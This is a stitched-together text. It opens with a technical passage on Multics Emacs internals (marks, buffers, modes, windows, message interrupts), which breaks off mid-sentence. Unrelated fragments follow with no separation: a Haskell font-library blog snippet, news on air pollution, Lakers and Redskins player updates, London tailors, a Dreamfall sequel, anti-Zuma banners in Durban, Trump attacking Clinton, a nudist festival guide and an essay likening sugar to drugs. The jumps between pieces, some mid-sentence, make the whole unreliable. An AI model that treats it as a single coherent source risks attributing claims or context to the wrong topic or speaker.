A facility needed by most extensions is that of a mark, or buffer pointer [DLWThesis]. A mark is an identification of a given character position in a given buffer. Extensions use them liberally, and at least one mark is a user-visible feature. Marks are used to identify points in the buffer, and pairs of marks, or the current point in the buffer and a mark, are used to identify regions of the buffer. Marks are problematic as they need to be relocated as text surrounding the points they represent is modified or deleted. This is to say that a mark which identifies some character on some line must be made to identify the nearest remeaining character or line if that character (more specifically, one before it on the line), or the line itself is deleted. This imposes an overhead on almost every buffer-modification operation, as a check must be made to see if any marks in the current buffer need be relocated on account of it.
Multics Emacs' approach to the minimization of this overhead is to associate marks with lines by representing a mark as a pair of an Editorline and a position within that line. A mark is created by a primitive in the basic editor which creates a mark designating the now-current editor point in the buffer, and both returns it and keeps it in a list of marks associated with the current buffer. When a line is opened for modification, the list of marks for the current buffer is scanned for marks designating the current line, and a secondary list of marks (marks for the current line) is developed. It is only this list which is scanned when the buffer is modified, for only the current line is ever capable of being modified. Marks are expected to be "freed" (i.e., removed from the per-buffer list and the secondary list) by the code that created them when they are no longer needed---this keeps the overhead of marks from growing limitlessly. Due to the definition of buffer position in Emacs (between characters), the simple and tremendously important case of adding text at the end of the current line can never cause the relocation of any marks, so the secondary mark list need not even be scanned for this most common modification.
An interesting alternative strategy for marks is implemented by Weinreb [DLWThesis] in his ZWEI editor: each Editorline of his data structure includes a list of marks for that line. This avoids having a per-buffer mark list or ever having to scan it. The per-Editorline overhead implied in his approach, however, was deemed too great for Multics Emacs (list nodes are much more expensive in Multics MacLisp (144 bits) than the Lisp machine (32 bits)). Weinreb also admits "non-relocatable marks," i.e., marks not put on any mark list, which are valid only during a time during which the invoking code is under obligation to cause no buffer modifications.
Once the core of the editor and supplied extensions were operative, development proceeded along three separate paths simultaneously: augmentation of functionality, performance improvement, and new interactions with the ARPANET. These areas will all be discussed independently.
V. Early Enhancements
Within the first two months, the need arose to support many text buffers simultaneously within the editor. People usually edit many files at once, and the conventional Multics editors provided this capability. In addition, many specialized uses of buffers were to develop in time, supporting many exotic features of the Editor.
The implementation of multiple buffers was viewed as a task of multiplexing the extant function of the editor over several buffers. The buffer being edited is defined by about two dozen Lisp variables of the basic editor, identifying the current Editorline, its current (open/closed) state, the first and last Editorlines of the buffer, the list of marks, and so forth. Switching buffers (i.e., switching the attention of the editor, as the user sees it) need consist only of switching the values of all of these variables. Neither the interactive driver nor the redisplay need be cognizant of the existence of multiple buffers; the redisplay will simply find that a different "current Editorline" exists if buffers are switched between calls to it. What is more, the only functions in the basic editor that have to be aware of the existence of multiple buffers are those that deal with many buffers, switch them, etc. All other code simply references the buffer state variables, and operates upon the current buffer.
The function in the basic editor which implements the command that switches buffers does so by saving up the values of all of the relevant Lisp variables, that define the buffer, and placing a saved image (a list of their values) as a property of the Lisp symbol whose name is the current buffer's. The similarly saved list of the target buffer's is retrieved, and the contained values of the buffer state variables instated. A new buffer is created simply by replacing the "instatement" step with initialization of the state variables to default values for an empty buffer. Buffer destruction is accomplished simply by removing the saved state embedded as a property: all pointers to the buffer will vanish thereby, and the MacLisp garbage collector will take care of the rest.
The alternate approach to multiple buffers would have been to have the buffer state variables referenced indirectly through some pointer which is simply replaced to change buffers. This approach, in spite of not being feasible in Lisp, is less desirable than the current approach, for it distributes cost at variable reference time, not buffer-switching time, and the former is much more common.
One of the most interesting per-buffer state variables is itself a list of arbitrary variables placed there by extension code. Extension code can register variables by a call to an appropriate primitive in the basic editor. The values of all such variables registered in a given buffer will be saved and restored when that buffer is exited and re-entered. The ability of Lisp to treat a variable as a run-time object facilitates this. Variables can thus be given "per-buffer" dynamic scope on demand, allowing extensions to operate in many buffers simultaneously using the same code and the same variables, in an analogous fashion to the way Multics programs can be executing in many processes simultaneously.
Emacs (both Multics and ITS) supports the notion of modes, which are specific tunings of the editor's interface for specific tasks. These tunings include sets of key bindings, and settings of the user-visible per-buffer variables. For instance, in PL/I mode, the "Tab" key/character means "Indent the current line correctly according to standard PL/I indentation," and Column 61 is the column where comments are placed. In Lisp mode, "Tab" means "Indent the current line correctly according to standard Lisp indentation," and comments go in column 51. Modes take effect on a per-buffer basis: each buffer is in a given mode, Fundamental mode being the initial default. Modes are one of the most significant advances of Emacs over other similar editors.
The key to the ability to support per-buffer modes is the ability to change key bindings rapidly and conveniently when buffers are switched. Implementing this meant replacing the key-binding mechanism that used Lisp properties and replacing it with a Lisp array to dispatch the interactive driver. The basic structure used is a Lisp array with 128 elements, one for each possible ASCII character. The array elements can contain either the Lisp constant nil (indicating that the key is "undefined"), a Lisp symbol which defines a function to be executed for that character, or a pointer to another similar array of 128 elements, for characters which are prefix characters (non-terminal characters of multi-character sequences). For historical reasons, the prefix character "ESC" (ASCII "escape") is special-cased, having its dispatch-vector being a second row of the root-node dispatch vector.
A list is kept, per-buffer, of keys whose bindings were changed while in that buffer. The element of the list gives the key (as a path through the dispatch vectors) and a binding. A key's binding is changed by placing it in this list, placing the original binding from the dispatch vector in the list element, and changing the element of the appropriate dispatch vector. When the buffer is exited, the list element and dispatch vector element are swapped, for each element of the local key-binding list. When a buffer is entered, the same swapping is performed, reinstating local key bindings of that buffer. A command is available to set a key in the dispatch vector without placing it in the local list: this constitutes setting the key globally (for all buffers where not explicitly defined otherwise).
This approach was designed to have the following desirable characteristics: it is optimized to buffers that have some, a few, but not most key bindings different than the default. Thus, the overhead of per-buffer dispatch vectors does not exist, plus the concomitant problems of making global changes to them. The overhead of switching into or out of a buffer is proportional to the number of key-bindings different from the default. Changes to the global default are made trivially. Clearly, the disadvantages of this approach are the overhead involved in buffers where almost every key is different (for example, all the normally "trivial" keys, the normal printing characters), and fairly odd machinations and manifestations,as well as definitional issues, when an attempt is made to change the global definition of a key which has been redefined locally)
A major feature of modern video systems is that of dividing up the screen into windows, or regions in which different activities are being displayed. Highly advanced video systems [Chineual] [PARC] often have dozens of windows on the screen at once, some only partially visible. In an editor, multiple windows allow several documents to be edited while being viewed simultaneously (such as new and old versions, etc.). In Emacs, mail-reading and responding can be going on in two windows, or buffers containing interactive messages from one or more other users can be on display while other activities are proceeding in parallel on the screen. ITS Emacs supports up to two windows on the screen, so there was competitive incentive to support multiple windows in Multics Emacs.
There are two user-level window-management schemes available in Multics Emacs, the default (static windows), and an experimental one (pop-up windows), modelled loosely after the display software at Xerox PARC [PARC]. As the relative merits of the two schemes are not yet clear, use of the experimental scheme is a user option.
In the static scheme, the user creates and destroys windows by explicit command. Window sizes are set by explicit user command (a special subsystem, the window editor assists in this operation). All activity, including switching to new buffers, occurs in one, selected window, until the user selects another window, explicitly. However, certain commands take advantage of multiple windows, by attempting to place buffers on display in other windows besides the selected one. For instance, the reply command, issued while reading mail, builds the reply letter in a buffer, and, if multiple windows are in use, places the reply in "some other" window and selects it (in fact, the least-recently used) unless that buffer is already on the screen in some window, in which case that window is selected. Another example of such a command is the compile command in PL/I and FORTRAN modes, which places compiler diagnostics in "some other" window than the source program.
In pop-up window mode (May 1979), all commands which switch buffers, or create new buffers, or enter any type of new activity, attempt to place a window on the screen (if there is not already a window for that buffer) somewhere, creating new windows and destroying old ones (again, on a least-recently used basis) if necesssary. If such buffer is already on the screen in some window, that window is selected. Windows are destroyed either by being replaced, explicitly by the user, or if the corresponding buffer is destroyed. Window sizes are set automatically and dynamically.
Users often find pop-up windows erratic, and unpredictable in nature, especially at low line speeds. It is still an open design issue as to whether pop-up windows are valuable in a time-sharing system accessed via communications lines, as is the degree of user visibility of the buffer/window correspondence, in which the philosophy of pop-up windows is rooted.
Multiple windows were implemented by multiplexing the function of the redisplay. Each window on the screen has on display in it one (or possible no) buffer. A buffer may be on display in no windows, one window, or more than one window (although this latter case introduces several human design and technical problems). One window at any time is considered to be the "current," or selected window. It is in this window that the cursor is placed by the redisplay at the end of each invocation, to indicate the current point in the current buffer. The current buffer is always on display in the current window. The interaction between buffers and windows is oft-times subtle, and small changes in the way the correspondence is managed seem to produce significant changes in the visible interface of the system.
An array gives the screen location and extent of each window, as well as the name of the buffer on display therein, and a mark of that buffer designating the window point, or the last "current point " in that buffer known at redisplay time. When the redisplay runs, it performs its compare-update operation for each window defined in the array. While the current line and current point within it are used to compute what should be displayed in the selected window, the window point marks are used for the other windows. As they are marks, they are updated dynamically if need be, if the buffers in those windows are modified between redisplays.
The editor's "switch windows" command tells the redisplay to choose another specific window as the selected window. It also tells the basic editor to switch buffers, as directed by the redisplay, from the buffer name in its window array structure. The redisplay will also use the window point to determine what point in the buffer in the new window to make the current point: thus, when windows are switched, editing resumes in the new buffer in the new window at the last point it was left off, and the screen content does not change. For buffers on display in more than one window, the window point identifies the last place that was the current point for each window when it was the selected window: this allows multiple windows to be used to edit multiple parts of the same buffer.
The window management system contrasts dramatically with that in ITS TECO. In the latter, TECO at all time displays text in "the window," whose position and extent on the screen are set by Emacs (in response to user commands). Thus, by switching "the window" between, say, two alternate, non-overlapping locations, two documents may be edited at once. However, simultaneous update of windows will not occur, whether the same text is on display in more than one window, or auxiliary buffers being managed for informative display purposes by active extensions.
A thoroughly unique feature, the Emacs interrupt system, was soon mandated by the interaction of Multics Emacs with the Multics interactive console message system. Multics supports the usual two types of inter-user communication, mail andmessages. Mail is "sent" by the sender to the recipient's mailbox, a file (segment) in the Multics storage system, and "read" by the recipient at his or her leisure. Messages, intended for communications of more transient nature, are sent using a simpler command, and are printed on the recipient's console as soon as his or her "process" (Multics control point) goes idle, which is usually when waiting for console input. (Sending mail, incidentally, sends a message of the form "You have mail," to alert the recipient that his or her mailbox ought be read.)
Messages on Multics are implemented as process interrupts (event call channels [SWG]), which cause the message-printer to be invoked by the process wait coordinator when the process goes to wait and there are messages present. When the process is awakened out of the waiting state (which will happen if a new message arrives while waiting, among other reasons), the same check will be made, and the message-printer invoked if messages are present. The message-printer normally functions by reading the message and printing out on the user's console, interspersed among the recorded input and output of the user's interactive session. In the context of Emacs, this is wholly inadequate. If such a message be printed while Emacs is being used, the contents of the screen as the Redisplay envisions them are destroyed, and the position of the cursor and the screen contents can no longer be managed effectively.
On ITS, this situation is handled by the message-printer informing TECO (or whatever program was in control when the message was printed) that the screen has been destroyed, and the latter must refresh the entire screen before any attempt is made to use it. This was deemed inadequate, as the widespread use of low-speed terminals would |
putStrLn "Collada File generated"
Line 30 shows that a integration into a drawing combinator library seems to be reasonable. I am a little bit proud that this library is lot smaller than freetype2 (something around 100KB against 4000KB)
and the only things that it cannot do (yet!) is Rastered Images, Autohinting, Unicode, and the big amount of file formats supported by freetype2.
Another difference is that the library consists of several small parts that can be used in many other places while a lot of C-libraries tend to be monolithic (like freetype2).
I have to admit that parsing ttf and the other formats is maybe more work then the what has been done so far.
Thanks to the developers of Blender who fixed a bug I described it is possible to load this file into Blender to generate a raytraced picture:
AdvertisementsTyler Stableford / The Image Bank / Getty
Nobody pretends that polluted air isn't terrible for your health. Clean up the skies over any dirty city, and the people who live there will all but certainly become healthier. That, at least, has been popular wisdom, but until now, no one had ever put it to a statistical test. Now someone has, and the results are striking: according to a study just published in the New England Journal of Medicine, when local governments decide to scrub out the smog, local residents actually live an average of five months longer.
"It's very reassuring," says Dr. Douglas Dockery, one of the study's three authors and an environmental epidemiologist at Harvard's School of Public Health. "We can see some benefits from the regulations of air pollution that have been put in place in the past 20 to 30 years." (See pictures of the world's most polluted places.)
In order to reach so precise a finding, the study's authors had to do some exhaustive number-crunching, surveying pollution rates and longevity in 51 cities across the U.S. over a 21-year period from 1979 to 2000. Overall, they found that lifespan in all of the areas increased by an average of nearly three years from 74 to 77 as a result of a host of factors, most notably reduced smoking and improved income. But 15% of the change was attributable to cleaner air.
One of the reasons curbing pollution can have so immediate an effect is that even a little dirt can do a lot of damage. A reduction of just 10 micrograms (10 millionths of a gram) of pollution per cubic meter of air a degree of improvement many of the surveyed cities were able to attain during the two-decade-plus period could extend human lifespans a full nine months. How small is 10 micrograms per cubic meter? Consider that simply by living with a cigarette smoker, you're exposed to a daily dose of 20 to 30. Pittsburgh, Pa., is one city in the survey that was at the 30-microgram level before the decline of the steel industry in the 1980s drove the dirt out of the skies even as it drove jobs out of town. Pittsburgh was one of the biggest winners in the new study, with residents gaining roughly 10 months in life expectancy over what they had when the mills were still churning. (See pictures of the effects of global warming.)
How can researchers separate the role that improved air quality plays from other factors? Very carefully. "The problem is," says Dr. C. Arden Pope III, the study's lead author and an epidemiologist at Brigham Young University, "if you consider every factor that extends life expectancy and add them up, you almost always end up with more than a 100% improvement." This is because many of the factors overlap, so scientists must take care not to count an extra week, say, as an extra two or three weeks.
The benefits of cleaner air may even be felt in towns whose skies weren't that dirty to begin with. Those that began with the very lowest levels still saw health benefits from small improvements. The evidence isn't yet there to determine whether those benefits would continue growing until the fine-particle pollution got down to zero; one of the cities closest to that, Albuquerque, N.M., still hovers around 5 micrograms per cubic meter. But at this point, it doesn't seem that the benefits taper off. "If it continues to follow what we've observed, it appears that there are health benefits down to very low levels of exposure," says Pope. (See the Year in Health, from A to Z.)
The next step for both researchers and policymakers is determining which sources of dirt power plants, motor vehicles, other industrial polluters make the biggest contributions to particle levels and thus should be most aggressively targeted. "In a difficult economic situation," asks Dockery, "where can we spend the dollars that would have the most benefit?"
As with so many other things, the inauguration of President Barack Obama has people hoping that these kinds of questions will be more aggressively addressed than they were over the past eight years. Even during the most heated days of the fall campaign, neither candidate went so far as to promise longer life in exchange for a vote. But a smart environmental policy could deliver just that.
See the top 10 green ideas of 2008.
See TIME's special report on the environment.The Lakers have reached an agreement with Shannon Brown keeping the athletic combo guard in L.A. for two more years.
According to the Los Angeles Times, the deal is worth $4.2 million with a player option for the second year.
Brown worked his way into Phil Jackson’s rotation after coming to L.A. mid-season as a throw-in for a trade invloving Vladimir Radmanovic and Adam Morrison. Jackson, who prefers bigger guards with a defensive commitment, felt comfortable giving Brown minutes as he quickly took to learning the triangle offense. Laker fans grew fond of the former Michigan State Spartan as she showed flashes of athletic brilliance and a knack for hitting big shots in the playoffs.
With the news of Brown coming just days after the announced agreement with Ron Artest and Phil Jackson’s return, all eyes shift towards Lamar Odom. As it stands now, the Lakers and Odom are not moving closer to a deal. However, there is little leverage for L.O. as his other options continue to wilt with each new agreement struck by other free agents.From the master tailors of Savile Row, to the glossy windows of Jermyn Street, London has long been favoured as the ultimate destination for gentleman’s bespoke shirting and suits.
Beau Brummell, almost literally, grabbed men’s fashion by the lapels in the early 19th century, helping to cement the suit as the ultimate symbol of masculine elegance. And, as this is a truth still acknowledged today, we’ve hunted down the best of the best in men’s tailoring, so that you too may emerge from their doors dressed to the nines. When it comes to luxury, these are the best…
Anderson & Sheppard, 32 Old Burlington Street
Dressing the world’s most sophisticated men since 1906, Anderson & Sheppard are one of the most well-known Savile Row institutions, famed for their craftsmanship and trademark focus on easy movement and natural body lines. Step into their mahogany living room, furnished with green leather chairs, wooden floors and an open fire, and leave with a bespoke suit worthy of royalty.
Anderson & Sheppard Learn More
Richard James, 29 Savile Row
Since setting up shop in 1992 as the first of the ‘new establishment’ tailors on Savile Row, Richard James have rapidly built up a name for themselves. Renowned for their commitment to excellence, they offer a bespoke service, providing clients an in-depth service with multiple consultations. Their made-to-measure service also allows a quicker tailoring experience without having to scrimp on the quality.
Richard James Learn More
Edward Sexton, 26 Beauchamp Place
Alongside Tommy Nutter in their Savile Row establishment, Nutters, Edward Sexton revolutionised Savile Row in the 1960s and 70s, adopting the ‘open window’ approach that has allowed us to linger longingly outside London’s most famous bespoke tailoring shops ever since. His list of clients is seriously impressive, having dressed the likes of Mick Jagger, Andy Warhol and John Lennon, to name but a few.
Edward Sexton Learn More
Huntsman, 11 Savile Row
Established in 1849, Huntsman’s initial claim to fame came through a rather niche tailoring service: making equestrian wear for the hunting and riding aristocracy in 19th-century Europe. They’ve remained a thoroughly British brand ever since, going on to tailor the wardrobes of legends including one of our all-time favourite gentlemen, Gregory Peck.
Huntsman Learn More
Henry Poole, 15 Savile Row
With an attention to detail that has seen them through over 200 years of tailoring, Henry Poole take pride in the fact that each and every piece of clothing is made individually by their tailors on their Savile Row premises. Their crest reads ‘By Special Appointment to the Late Emperor Napoleon III’ – and, if they’re good enough for an emperor, you know they’re good enough for you.
Henry Poole Learn More
Hardy Amies, 14 Savile Row
The founder of the Hardy Amies brand, Sir Edwin Hardy Amies, actually got his start in womenswear, but soon started making waves in men’s tailoring as well after opening his Savile Row store in 1945. The team today puts an emphasis on the gentlemanly look with a twist, with an exceptional focus on fit, often requiring several fittings and up to 20 measurements.
Hardy Amies Learn More
Kilgour, 8 Savile Row
A Savile Row institution since 1880, Kilgour have long established themselves as tailors who embrace change, counting names like Cary Grant, Fred Astaire, Jude Law and Daniel Craig as their clients. They tailor suits that lean in an almost art-deco direction, with an emphasis on shoulders. It’s said that the classic grey flannel suit was the brainchild of this place.
Kilgour Learn More
Fielding and Nicholson, 12-16 Clerkenwell Road
With two other stores in Finsbury and Barbican, you won’t have to go far to find a great suit that fits you perfectly – in fact, their at-home services mean you don’t even have to leave your home to be dressed to kill. The fine materials are what make these tailors so beloved, with the cloth they use exclusively sourced from the old English mills in Huddersfield, Yorkshire.
Fielding and Nicholson Learn More
Dege & Skinner, 10 Savile Row
Established in 1865, these Royal Warrant Holders are still family-owned, and cut all their bespoke clothes uniforms and shirts by hand on Savile Row. In 2016, the tailors made the decision to introduce a selection of ready-to-wear suits and blazers – imbuing off the peg garments with the care and quality of their bespoke selection.
Dege & Skinner Learn More
Chester Barrie, 19 Savile Row
Favoured by gentlemen who know that they need to look their best when it matters most, Chester Barrie is often seen on the red carpet, most notably during Awards Season, and is also the suit of choice for many British sportsmen. Sitting pretty on Savile Row, Barrie rubs meticulously-tailored shoulders with other sartorial high-fliers of the street – and unequivocally holds its own.
Chester Barrie Learn MoreI love a game with a great story and characters, so whenever I hear someone bring up Dreamfall: The Longest Journey, I'm filled with pangs of guilt because I still haven't gotten around to playing Funcom's highly regarded adventure. Now it looks like I'll really have to make an effort to play it sooner rather than later, as a followup is currently in pre-production at Red Thread Games.
This relatively new development studio was founded by Ragnar Tørnquist, the creator of The Longest Journey, so if any studio is capable of making a new entry, it's Red Thread. Tørnquist shared his excitement on the new project, saying:
I'm very excited to finally have the opportunity to continue the 'The Longest Journey' saga. Ever since we ended 'Dreamfall' on a nail-biting cliffhanger, players have been rightfully demanding a sequel, and my deal with Funcom will finally make that possible. I'm extremely grateful to Funcom for this unique and exciting opportunity, and I can't wait to dive back into the universe I helped create more than a decade ago, and continue the story players have been waiting for these past six years.
Unfortunately, all we know at this point is that the game will be titled Dreamfall Chapters and that more news will be on the way in the coming months. As such, keep it locked to GameRevolution for future updates on this promising new title from Funcom.
[Via]Durban – Residents of Durban woke up on Friday morning to the sight of two massive anti-Zuma banners on a four-storey building on busy Matthews Meyiwa Road (formerly Stamford Hill Road), a short distance away from the starting point of a march that is part of nationwide demonstrations against President Jacob Zuma planned for Friday.
- Follow the Live Update here.
One banner reads "#Zuma and Gupta's self-enrichment days are over! Stop Zuma [sic]" and the other "Jacob Zuma must step down".
Entrepreneur Arthur Lambouris, one of the owners of the building, said he did not know who had put them up.
"I heard whispers about the banners. But there are a number of tenants in the building.
"But I won't do anything to take them down.
Two massive anti-Zuma banners on a four-storey building in Durban. (Photo: Supplied) Two massive anti-Zuma banners on a four-storey building in Durban. (Photo: Supplied)
"Frankly I couldn't agree more with the sentiment expressed. South Africans across the board want efficient and clean government to alleviate poverty and grow the economy, not the looting going on now."
Last year, Lambouris and other business owners in the area – a precinct of factory shops – went to the Durban High Court and successfully forced the eThekwini municipality to properly police and clean up the area, which had become a haven for vagrants.
He argued that he was paying almost R1m a year in rates and that the council was shirking its responsibility.
Marches divide city
Early on Friday morning, the city was quiet – quieter than usual.
Thousands were expected to take part in two opposing marches, one led by the DA which will start at the Old Durban Drive-In Site and proceed to the beachfront; and the other, led by the ANC Youth League, which is expected to take place in the city centre.
Both marches have been sanctioned by the metro police.
- Are you taking part? Send us your eyewitness accounts and photos.
On Thursday, the DA secured an interdict against Mayor Zandile Gumede after it was reported that she had said in a radio interview that the anti-Zuma marches amounted to treason.
The comments were reported in a tweet by the SABC.
Gumede has denied making any such remarks.
A local newspaper reported on Friday morning that, in an audio clip, Gumede is heard saying: "These marches that are not legalised are uncalled for. For me, as the mayor of eThekwini, I will tell the community to refrain from these nasty marches because if you want to march you know that you must follow proper channels."Presumptive Republican presidential nominee Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE unleashed on Democratic front-runner Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE at a rally Wednesday, saying she has "no natural talents" that make her suitable to the presidency.
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"She has no natural talents to be president. This is not a president," Trump said at a rally in Sacramento, Calif. "A lot of people think I look extremely presidential.
"This is not presidential material," he added of Clinton.
Trump reiterated the false claim he has made about Clinton during his transition to a general election campaign that "Hillary Clinton wants to abolish the Second Amendment," a statement that has been deemed "false" by Politifact.
He also called her the worst secretary of State in history and said anybody else embroiled in her current email scandal would be in prison.
"Honestly, she should not be allowed to run. It's a disgrace to the laws of our country," Trump said, referring to the FBI's investigation into Clinton's use of a private email server while secretary of State.
"I'll tell you what. She doesn't know what the hell she's doing. It's going to be another four years of disaster," Trump said, adding that California voters would probably be "better off" with Democratic presidential candidate Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE as their president.
"But that's not going to happen," he said.
Trump's attacks come as Clinton shifts her focus toward the general election. She has jumped on the Trump University scandal, describing the program as a "fraudulent scheme."
"Trump himself is a fraud. He is trying to scam America the way he scammed all those people at Trump U," Clinton said at a rally in Newark, N.J., Wednesday.
"It’s important that we recognize what he has done, because that’s usually a pretty good indicator of what he will do."What are your plans for this year? Camping in
But if you want to do something really extraordinary this year, why not visit a nude festival, a great skinny dip or a body painting contest? Here are some of the options! Spring is about to come to town, which is the perfect timing to start dreaming about the summer.What are your plans for this year? Camping in Croatia? Some beautiful resort in Greece? Or maybe somewhere a bit further like Bangkok for example? All wonderful ideas and great plans for a great nude summer holiday!But if you want to do something really extraordinary this year, why not visit a nude festival, a great skinny dip or a body painting contest? Here are some of the options!
The Great British Skinny Dip
WHEN: September 2018
MORE INFO: http://greatbritishskinnydip.co.uk In case you’ve missed the Sydney Skinny earlier this month, you get another chance to get naked in the water among loads of like minded participants. The cool thing about The great British Skinny dip is that it takes place at several different locations in the UK, so you can pick the venue which suits you best. You can even attend several different skinny dips because the event runs throughout a whole month. Whether you’re a professional swimmer, a real polar bear or someone who only puts a toe in the sea and then relaxes on the beach for the rest of the day, The Great British Skinny Dip might just be the event you’ve been waiting for.
Roskilde naked run
WHEN: 30 June – 7 July 2018
MORE INFO: https://www.roskilde-festival.dk Many nudist resorts and clubs organise naked running contests these days, but the one at Roskilde in Denmark is “slightly” different than the rest. The Roskilde Festival is one of Europe’s most popular music festivals with names like Nine Inch Nails and My Bloody Valentine headlining this summer. In 1999 the Roskilde Festival Radio organised a naked running contest where the winning male and female contestant won a free ticket for the next year’s festival. The popularity of this run has grown over the years and now it became a mandatory part of each edition of the festival. Get ready to get muddy!
Nudestock
WHEN: 25 August 2018
MORE INFO: http://www.tigermtnudists.com/event/nudestock-2018/ At Roskilde only the run is supposed to be naked, although after 10PM several female visitors have been spotted flashing their breasts to gain the attention of James Hettfield or Jay-Z. If you really want to relax in the nude while watching a nice band playing, Nudestock at Tiger Mountain Naturist Park in Issaquah, Washington might be a better option. A bunch of local bands play rock and blues music while you’re having a dip in the pool or getting a nice tan… Life can be great.
Nudefest
Nudefest takes place at the Thorney Lakes park in Somerset, which is only a short ride from Bristol international airport.
WHEN: 9 July – 16 July 2018
MORE INFO: http://www.bn.org.uk/community/calendar/event/3733-nudefest-2018/ Back on the other side of the Atlantic there’s Nudefest organised by British Naturism. Seven days of camping in the nude and participating in craft sessions, yoga sessions, drum workshops, 5k runs, fishing contests, quizes, clay pigeon shootings and many other activities while listening to live music and sipping a local ale.Nudefest takes place at the Thorney Lakes park in Somerset, which is only a short ride from Bristol international airport.
World Bodypainting Festival
WHEN: 12 July – 14 July 2018
MORE INFO: https://bodypainting-festival.com/en/ Every year in July the town Klagenfurt am Wörthersee in Austria is transformed to the town of the living paintings. National and international music bands are giving the best of themselves on stage, but most visitors are here of course to see the art rather than to hear it. Check out the work of the world’s most famous body painters, show off your own talent at one of the workshops or let yourself be converted into a tiger, a snake or Darth Vader. Expect a magical wonderland with painted bodies, fire-breathers and burlesque dancers. An event not to miss this summer!
Jazz & Real Ale festival
WHEN: 21 June – 24 June 2018
MORE INFO: https://www.naturistfoundation.org/the-naturist-foundation-jazz-real-ale-festival/ More cultural pleasure can be found this summer at the Jazz & Real Ale festival organised by The Naturist Foundation in Orpington, UK. The combination of dreamy jazz music, a couple of ice cold beers and a bunch of naked people is always a formula for success. This year will already be the eleventh edition of the festival, if you haven’t been there yet, maybe this year you’ll find a blank spot in your agenda for the end of June.
Fantasy Fest
Head over to Key West, Florida this summer, paint the Naked Wanderings logo on your behind and enjoy the balls, the parade, the drag queen contents and the rivers of alcohol.
WHEN: 19 October – 28 October 2018
MORE INFO: http://www.fantasyfest.com Although Fantasy Fest may technically not be a nudist event, we did believe that it’s worth a mention here. What started in 1978 as a parade organised by the Key West Business Guild to attract more tourists during the slow season has grown to a bacchanal out of proportion. Imagine Mardi Gras where women didn’t even bother to wear clothes anyway. Because nudity is technically not allowed, bodypainting is a must!Head over to Key West, Florida this summer, paint the Naked Wanderings logo on your behind and enjoy the balls, the parade, the drag queen contents and the rivers of alcohol.
Nudes-a-Poppin’
During most of the year, the Ponderosa Sun Club is just a regular nudist club in Roselawn, Indiana but two days every summer the place is converted into an Adult Festival. Strippers, pole dancers and porn stars from all over the state come to the club to entertain the visitors and to aim for titles as “Miss Nude Go-Go”, “Miss Nude Rising Star” or “Miss Nude Showstopper”. Whether this event will benefit the nudist society… we seriously doubt it. But if you like to spend your weekend days in a comfy chair while watching a naked woman hang upside down on a pole, this might be the place for you. But better not bring the kids.
WHEN: 21 July – 22 July 2018
MORE INFO: http://www.nudes-a-poppin.com
Burning Man
Be prepared when you go there, bring lots of food, water and sunscreen!
WHEN: 26 August – 3 September 2018
MORE INFO: https://burningman.org Does this event need any introduction? Maybe just in case for those living on Mars or in the far north of Sweden: Burning Man is a festival which takes place in Black Rock City, a town in the Nevada desert which only exists for one week per year. About 70 000 visitors flock together at the end of August in Black Rock City to celebrate the Burning Man Festival and to live in place with no rules and no money. Pretty intriguing, isn’t it? Nudity is completely allowed during the whole event and therefore it’s on the bucket list of many nudists (and ours as well).Be prepared when you go there, bring lots of food, water and sunscreen!
World Naked Bike Ride
WHEN: Throughout the whole year
MORE INFO: http://worldnakedbikeride.org Historians can’t agree on whether the first “real” World Naked Bike Ride was organised in either Vancouver, Canada or in Zaragoza, Spain. Frankly, we couldn’t care less. All we know if that it’s a huge event right now organised in more than 70 cities around the world. You don’t even have to travel far to attend one (except when you live on Mars or in the far north of Sweden). The setup is simple, take your bike out of the garage, take off your clothes and go for a nice naked ride through one of your favourite cities. The number of attendants differs a lot from place to place, so better check the website first if you like to know whether you’ll be surrounded by ten thousand other nudies or if it will be just you and aunt Betty.
Have we given you some inspiration for an amazing summer? Or do you happen to know another amazing event we forgot about? Let us know!
Picture credit: The photos in this post are coming from Google and Twitter. If you find one of yourself and you don’t want it to be on our blog, let us know and we’ll remove it.Redskins tight end Jordan Reed will be active for the first time since Oct. 4 against the Eagles. (Toni L. Sandys/ The Washington Post)
Tight end Jordan Reed and left tackle Trent Williams both have received clearance to play on Sunday after being in the NFL’s concussion monitoring program, a person with knowledge of the situation said Thursday.
Reed has missed the last two games with a concussion, while Williams missed one game.
Both went through practice in limited capacities Wednesday and Thursday, and both received clearance from the independent neurologist late Thursday.
The absences of both players left huge voids on Washington’s offense. Reed leads the team in receiving and serves as quarterback Kirk Cousins’s go-to guy on third downs; eighteen of Reed’s 24 catches have produced first downs this season.
Williams is the team’s top offensive lineman, both in pass protection and as a run-blocker.Today added sugar is everywhere, used in approximately 75 percent of packaged foods purchased in the United States. The average American consumes anywhere from a quarter to a half pound of sugar a day. If you consider that the added sugar in a single can of soda might be more than most people would have consumed in an entire year, just a few hundred years ago, you get a sense of how dramatically our environment has changed. The sweet craving that once offered a survival advantage now works against us.
Whereas natural sugar sources like whole fruits and vegetables are generally not very concentrated because the sweetness is buffered by water, fiber and other constituents, modern industrial sugar sources are unnaturally potent and quickly provide a big hit. Natural whole foods like beets are stripped of their water, fiber, vitamins, minerals and all other beneficial components to produce purified sweetness. All that’s left are pure, white, sugary crystals.
A comparison to drugs would not be misplaced here. Similar refinement processes transform other plants like poppies and coca into heroin and cocaine. Refined sugars also affect people’s bodies and brains.
Substance use disorders, defined by the Diagnostic and Statistical Manual of Mental Disorders, exist when at least two to three symptoms from a list of 11 are present. In animal models, sugar produces at least three symptoms consistent with substance abuse and dependence: cravings, tolerance and withdrawal. Other druglike properties of sugar include (but are not limited to) cross-sensitization, cross-tolerance, cross-dependence, reward, opioid effects and other neurochemical changes in the brain. In animal studies, animals experience sugar like a drug and can become sugar-addicted. One study has shown that if given the choice, rats will choose sugar over cocaine in lab settings because the reward is greater; the “high” is more pleasurable.
